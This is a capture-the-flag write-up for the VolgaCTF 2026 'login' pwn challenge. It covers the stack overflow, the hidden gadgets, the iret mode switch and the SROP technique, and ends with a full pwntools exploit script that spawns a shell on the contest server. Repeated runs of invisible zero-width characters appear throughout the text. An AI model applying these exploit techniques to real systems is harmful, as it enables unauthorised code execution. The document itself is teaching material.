← Back to Writeups
CUSTOMMediumpwn

login

XESXOR9/2/20267 min read
#pwn#custom#medium#execve_via_sigreturn_frame#hidden_gadget_discovery#iret_mode_switch#srop_sigreturn_oriented_progra#stack_buffer_overflow#stack_pivot#two_stage_payload#linux

login

Platform: volgactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-03-28 | Status: Solved Techniques: execve_via_sigreturn_frame, hidden_gadget_discovery, iret_mode_switch, srop_sigreturn_oriented_programming, stack_buffer_overflow, stack_pivot, two_stage_payload

Summary

Task: 32-bit static ELF assembly binary with stack buffer overflow (64-byte buffer, 128-byte read) and hidden gadgets in dead code. Solution: Two-stage exploit using iret to switch from 32-bit compat to 64-bit long mode, then SROP (Sigreturn-Oriented Programming) to set all registers and execve("/bin/sh").

login — VolgaCTF 2026

Description

Connect to nc login-1.q.2026.volgactf.ru 45003. Binary: vuln.zip containing a single ELF vuln.

A 32-bit statically linked ELF binary written in pure assembly. It prompts for a password, reads input into a stack buffer, prints "Wrong password", and exits. The goal is to exploit a buffer overflow to get a shell on the remote server.

Analysis

Binary Properties

  • Architecture: 32-bit ELF, Intel 80386, statically linked, not stripped
  • Size: ~5KB, only a few functions: _start, main, read_stdin, write_stdout
  • Protections: No PIE, no canary, no RELRO. NX enabled but irrelevant for pure ROP. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Disassembly

asm
_start (0x400000):
  call main
  mov ebx, eax        ; exit code = return value of main
  mov eax, 1          ; sys_exit
  int 0x80
  ; "Dead code" below — actually contains hidden gadgets!
  mov eax, 0x50fcf    ; bytes: b8 cf 0f 05 00 — contains 0f 05 = syscall!
  mov ebx, 0xc35f5e   ; bytes: bb 5e 5f c3 00 — contains 5e 5f c3 = pop esi; pop edi; ret!
  mov [eax], ebx
  int3
  int3

main (0x40001c):
  push ebp
  mov ebp, esp
  sub esp, 0x40           ; 64 bytes buffer
  mov edi, 0x40107c       ; "Enter the password: "
  mov esi, 0x14
  call write_stdout
  mov edi, esp            ; buffer at esp = ebp-0x40
  mov esi, 0x80           ; BUG: reads 128 bytes into 64-byte buffer!
  call read_stdin
  mov edi, 0x401094       ; "Wrong password..."
  mov esi, 0x22
  call write_stdout
  mov eax, 0xf            ; returns 15 = rt_sigreturn syscall number!
  leave
  ret
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

read_stdin (0x400054):
  mov eax, 3    ; sys_read
  mov ebx, 0    ; stdin
  mov ecx, edi  ; buffer
  mov edx, esi  ; count
  int 0x80
  xor eax, eax
  ret

write_stdout (0x400068):
  mov eax, 4    ; sys_write
  mov ebx, 1    ; stdout
  mov ecx, edi  ; buffer
  mov edx, esi  ; count
  int 0x80
  xor eax, eax
  ret

Vulnerability

Classic stack buffer overflow: sub esp, 0x40 allocates 64 bytes on the stack, but read_stdin is called with esi=0x80 (128 bytes). This allows overwriting the saved EBP at offset +0x40 and the return address at offset +0x44. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Hidden Gadgets in Dead Code

The "dead code" after _start's int 0x80; sys_exit was deliberately crafted. The immediate operands of the mov instructions contain useful byte sequences that can be jumped to mid-instruction:

AddressInstruction BytesHidden Gadget
0x40000fcf (inside b8 cf 0f 05 00)iret — switches CPU mode via CS selector
0x4000100f 05 (inside b8 cf 0f 05 00)syscall — 64-bit syscall instruction
0x4000145e 5f c3 (inside bb 5e 5f c3 00)pop esi; pop edi; ret — register control
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The eax = 0xf Clue

main ends with mov eax, 0xf; leave; ret. This is NOT a coincidence — 0xf is the syscall number for rt_sigreturn on 64-bit Linux. Combined with the iret and syscall gadgets, this points directly to an SROP attack after switching to 64-bit mode.

Why SROP is Necessary

The binary has an extremely limited gadget set — no pop eax, pop ebx, pop ecx, pop edx. There's no way to set eax = 0xb (32-bit execve) through normal ROP. But rt_sigreturn restores ALL registers from a signal frame on the stack, giving complete control with a single syscall. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

Exploit Strategy: iret Mode Switch + SROP

The binary runs in 32-bit compatibility mode on a 64-bit kernel. The exploit uses two stages:

  1. Stage 1 (32-bit ROP): Overflow → read stage 2 data to .data section → iret to switch to 64-bit mode
  2. Stage 2 (64-bit SROP): rt_sigreturn restores all registers → execve("/bin/sh")

Stage 1: Buffer Overflow → ROP Chain

Stack layout after overflow:
+0x00 - 0x3f: 64 bytes padding (buffer)
+0x40 - 0x43: saved EBP = FAKE_STACK (0x40108c in .data)
+0x44 - 0x47: return addr = pop_esi_edi_ret (0x400014)
+0x48 - 0x4b: esi = 0x200 (stage2 size for read_stdin)
+0x4c - 0x4f: edi = 0x40107c (DATA_ADDR, buffer for read_stdin)
+0x50 - 0x53: READ_STDIN (0x400054)
+0x54 - 0x57: IRET (0x40000f) — return after read_stdin
--- iret frame (pops EIP, CS, EFLAGS, ESP, SS) ---
+0x58 - 0x5b: EIP = MOV_EAX_F (0x40004c)
+0x5c - 0x5f: CS = 0x33 (switch to 64-bit long mode!)
+0x60 - 0x63: EFLAGS = 0x202 (IF flag set)
+0x64 - 0x67: ESP = 0x401200 (arbitrary, leave overrides)
+0x68 - 0x6b: SS = 0x2b (user mode stack segment)

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The ROP chain:

  1. pop esi; pop edi; ret — loads count and buffer address for read_stdin
  2. read_stdin — reads stage 2 payload from stdin into .data section at 0x40107c
  3. iret — pops EIP/CS/EFLAGS/ESP/SS from stack. Setting CS=0x33 switches the CPU from 32-bit compatibility mode to 64-bit long mode, jumping to mov eax, 0xf; leave; ret

Stage 2: SROP → execve("/bin/sh")

Data written to .data section (0x40107c):

+0x00: "/bin/sh\0"          (8 bytes)
+0x08: padding              (8 bytes)
+0x10: fake RBP             (8 bytes) ← FAKE_STACK (0x40108c) points here
+0x18: SYSCALL addr         (8 bytes) ← return address for leave;ret
+0x20: sigreturn frame      (248 bytes) ← rt_sigreturn reads this

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Execution flow after iret:

  1. mov eax, 0xf → rax = 0xf (rt_sigreturn syscall number)
  2. leave → rsp = rbp = FAKE_STACK = 0x40108c, then pop rbp from [0x40108c] → rsp = 0x401094
  3. ret → rip = [0x401094] = SYSCALL (0x400010), rsp = 0x40109c
  4. syscall with rax=0xf → rt_sigreturn — kernel reads the sigreturn frame from rsp and restores ALL registers:
    • rax = 0x3b (execve syscall number, 64-bit)
    • rdi = 0x40107c (pointer to "/bin/sh")
    • rsi = 0 (argv = NULL)
    • rdx = 0 (envp = NULL)
    • rip = 0x400010 (syscall gadget)
    • cs = 0x33 (stay in 64-bit mode)
  5. syscall with rax=0x3b → execve("/bin/sh", NULL, NULL) → SHELL! ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit Script

python
#!/usr/bin/env python3
from pwn import *
import sys, time

context.arch = "amd64"
context.bits = 64
context.os = "linux"

# Addresses
READ_STDIN  = 0x400054
POP_ESI_EDI = 0x400014  # pop esi; pop edi; ret
IRET        = 0x40000F  # iret instruction
SYSCALL     = 0x400010  # syscall (0f 05)
MOV_EAX_F   = 0x40004C  # mov eax, 0xf; leave; ret
DATA_ADDR   = 0x40107C  # .data section (RW-)
BINSH_ADDR  = DATA_ADDR
FAKE_STACK  = DATA_ADDR + 0x10  # 0x40108c

def build_stage1():
    """Stage 1: 32-bit overflow → ROP → read stage2 to .data → iret to 64-bit"""
    payload  = b"A" * 64              # buffer padding
    payload += p32(FAKE_STACK)        # saved EBP → becomes rbp in 64-bit
    payload += p32(POP_ESI_EDI)       # ret addr → pop esi; pop edi; ret
    payload += p32(0x200)             # esi = count for read_stdin
    payload += p32(DATA_ADDR)         # edi = buffer addr (.data)
    payload += p32(READ_STDIN)        # call read_stdin
    payload += p32(IRET)              # after read → iret
    # iret frame: EIP, CS, EFLAGS, ESP, SS
    payload += p32(MOV_EAX_F)        # EIP = mov eax, 0xf; leave; ret
    payload += p32(0x33)              # CS = 0x33 (64-bit mode!)
    payload += p32(0x202)             # EFLAGS
    payload += p32(0x401200)          # ESP (leave overrides)
    payload += p32(0x2B)             # SS
    return payload.ljust(0x80, b"\x00")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

def build_stage2():
    """Stage 2: /bin/sh string + fake stack frame + sigreturn frame"""
    frame = SigreturnFrame()
    frame.rax = 0x3B                  # execve
    frame.rdi = BINSH_ADDR            # "/bin/sh"
    frame.rsi = 0                     # argv = NULL
    frame.rdx = 0                     # envp = NULL
    frame.rip = SYSCALL               # syscall gadget
    frame.rsp = 0x401200              # arbitrary
    frame.rbp = 0
    frame.csgsfs = 0x33               # CS = 0x33 (64-bit)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    stage2  = b"/bin/sh\x00"
    stage2  = stage2.ljust(0x10, b"\x00")
    stage2 += p64(0)                  # fake RBP
    stage2 += p64(SYSCALL)            # return address → syscall
    stage2 += bytes(frame)            # sigreturn frame (248 bytes)
    return stage2

r = remote("login-1.q.2026.volgactf.ru", 45003)
r.recvuntil(b"Enter the password: ")

r.send(build_stage1())
r.recvuntil(b"Wrong password, please try again.\n")
time.sleep(0.3)

r.send(build_stage2())
time.sleep(0.5)

r.sendline(b"cat flag*")
r.interactive()

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍